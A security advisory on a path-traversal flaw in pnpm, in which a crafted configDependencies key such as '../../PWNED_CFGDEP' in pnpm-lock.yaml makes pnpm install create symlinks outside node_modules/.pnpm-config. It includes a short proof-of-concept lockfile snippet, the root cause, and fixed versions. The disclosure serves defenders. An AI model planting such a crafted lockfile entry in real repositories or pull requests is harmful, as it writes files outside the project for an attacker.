high · 8.2Jun 27, 2026

pnpm Path Traversal via configDependencies Lockfile Entry Allows Symlink Escape

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted pnpm-lock.yaml with a dot-dot package name in configDependencies tricks pnpm install into creating symlinks outside the intended node_modules/.pnpm-config directory, giving an attacker a fil

Packagepnpm
Ecosystemnpm
Affected< 10.34.4
Fixed in10.34.4

The problem

pnpm stores resolved configDependencies in the env-lockfile section of pnpm-lock.yaml and uses those package names directly to build symlink target paths under node_modules/.pnpm-config. No validation was applied to names loaded from the lockfile.

Because the lockfile is committed to source control, an attacker who controls a repository (or submits a pull request) can craft a configDependencies key containing .. path components. Running pnpm install against that repo triggers the symlink creation outside the intended directory, even with --ignore-scripts, before any ordinary dependency installation occurs.

Proof of concept

yaml
# Malicious pnpm-lock.yaml env-lockfile section
# Place this in the repo root and run: pnpm install --ignore-scripts

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

# pnpm will report:
#   Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
#
# Symlink created at:
#   <project_root>/PWNED_CFGDEP  ->  ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
#
# Instead of the expected path:
#   <project_root>/node_modules/.pnpm-config/PWNED_CFGDEP

The root cause is CWE-22: pnpm called path.join(configModulesDir, pkgName) where pkgName came from the lockfile without any sanitization. Node's path.join collapses .. segments, so a name like ../../PWNED resolves cleanly to a path two levels above node_modules/.pnpm-config.

The patch (commit 352ae48 in v10.34.4, bee4bf4 in v11.8.0) adds upfront validation: names must pass npm package-name validation (which rejects .. components and path separators) and versions must be exact semver strings. The same checks are applied to optional subdependencies of config dependencies and to legacy workspace-manifest entries before any lockfile write.

The fix

Upgrade pnpm to 10.34.4 (v10 branch) or 11.8.0 (v11 branch). Both releases reject any configDependencies key from the lockfile that is not a valid npm package name, and reject any version that is not an exact semver string, before building filesystem paths.

Reporter not attributed.

References: [1][2]